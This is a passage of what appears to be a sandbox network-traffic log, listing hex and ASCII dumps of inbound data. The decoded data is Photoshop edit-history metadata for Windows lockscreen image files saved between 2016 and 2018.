s\v-lizagh\MS\Windows10\PrettyPics\090415_HallstattAustria_500px-69388655_Gradient-1920x1080.jpg saved 2016-07-12T15:17:03-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F
2022-07-21 02:34:44 UTC	421	IN	Data Raw: 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 32 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: ;2016-08-19T10:54:06-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-08-19T12:17:39-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-21 02:34:44 UTC	495	IN	Data Raw: 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 36 54 31 32 3a 35 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 4d 49 54 5f 45 6c 65 63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 39 36 31 32 38 32 39 35 Data Ascii: ppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-10-06T12:55:42-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-96128295
2022-07-21 02:34:44 UTC	550	IN	Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 Data Ascii: 0 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-16T12:44:48-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE64
2022-07-21 02:34:44 UTC	574	IN	Data Raw: 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 39 32 30 78 31 30 38 30 34 45 38 35 44 32 30 46 43 36 33 35 35 30 45 32 36 33 37 43 41 31 38 34 34 32 44 39 30 41 36 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 37 38 38 31 32 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 31 3a 31 35 2d 30 38 3a 30 30 26 23 Data Ascii: 00px-121190395_1920x10804E85D20FC63550E2637CA18442D90A63.psb saved 2017-01-11T11:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-167881236_1920x1080.jpg saved 2017-01-11T11:01:15-08:00&#
2022-07-21 02:34:44 UTC	606	IN	Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 31 54 31 38 3a 35 32 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-02-21T18:52:32-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMont
2022-07-21 02:34:44 UTC	725	IN	Data Raw: 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 Data Ascii: 20x1080.jpg saved 2017-02-28T11:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1920x1080.jpg saved 2017-02-28T11:48:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\A
2022-07-21 02:34:44 UTC	773	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 35 31 33 34 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 Data Ascii: rs\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-466513438_1920x1080.jpg saved 2017-04-12T11:44:58-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-493907750_1920x1080.jpg saved 2017
2022-07-21 02:34:44 UTC	837	IN	Data Raw: 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 38 3a 31 34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: cape.psd closed 2017-04-28T18:14:39-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-05-05T09:06:18-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-05-05T09:10:59-07:00 File C:\Users
2022-07-21 02:34:44 UTC	869	IN	Data Raw: 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 39 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: fficeGeneric_GettyImages-175758763_1920x1080.psd saved 2017-05-12T16:08:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1080.jpg saved 2017-05-12T16:09:58-07:00&#x9
2022-07-21 02:34:44 UTC	917	IN	Data Raw: 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 38 54 31 31 3a 35 39 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6d 62 6c 65 64 6f 6e 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 57 69 6d 62 6c 65 64 6f 6e 5f 34 37 30 31 30 38 35 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 32 30 54 30 39 3a 35 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 Data Ascii: ape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-06-18T11:59:27-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Wimbledon\Chosen\MIT-Wimbledon_470108550_1920x1080.jpg saved 2017-06-20T09:52:36-07:00 File Lockscreen_1920x1080_Land
2022-07-21 02:34:44 UTC	940	IN	Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 33 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: _Landscape.psd opened 2017-07-26T13:23:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1920x1080.psd saved 2017-07-26T13:24:43-07:00 File C:\Users\v-lizagh\MS\Win
2022-07-21 02:34:44 UTC	996	IN	Data Raw: 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 30 3a 35 37 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: 41D85C30DE643DF5B579.psb saved 2017-08-03T16:33:31-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-08-03T20:57:50-07:00 F
2022-07-21 02:34:44 UTC	1067	IN	Data Raw: 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 30 36 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 31 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 Data Ascii: 2017-09-25T13:06:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved 2017-09-25T13:13:52-07:00 File WindowsMMX-Rd2_500px-18226573_1920x1080.psd opened 2017-09-25T1
2022-07-21 02:34:44 UTC	1139	IN	Data Raw: 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 33 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5c 52 45 46 52 45 53 48 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f Data Ascii: 10\Lockscreen_1920x1080_Landscape.psd saved 2017-11-01T13:29:50-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-11-01T13:33:51-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootball\REFRESH\Crops\MIT-NFLCollegeFo
2022-07-21 02:34:44 UTC	1171	IN	Data Raw: 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 38 34 39 35 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 Data Ascii: ice\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-168301416_1920x1080.jpg saved 2017-11-17T15:55:47-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-503849593_1920x1080.jpg
2022-07-21 02:34:44 UTC	1211	IN	Data Raw: 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 31 38 32 38 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 35 35 30 35 35 34 Data Ascii: ows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_1920x1080.psd saved 2017-12-14T16:24:49-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-531550554
2022-07-21 02:34:44 UTC	1243	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 36 36 38 35 31 35 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 32 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 38 38 32 36 36 31 35 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-766851557_1920x1080.jpg saved 2018-01-24T17:29:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOSEN\Crops\MIT-WinterEntFeb_shutterstock_588266159_1920x1080.jpg save
2022-07-21 02:34:44 UTC	1338	IN	Data Raw: 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 Data Ascii: :53-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.psd saved 2018-02-08T13:51:48-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.jpg saved
2022-07-21 02:34:44 UTC	1377	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 31 3a 32 31 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-15T01:21:32-07:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-15514836
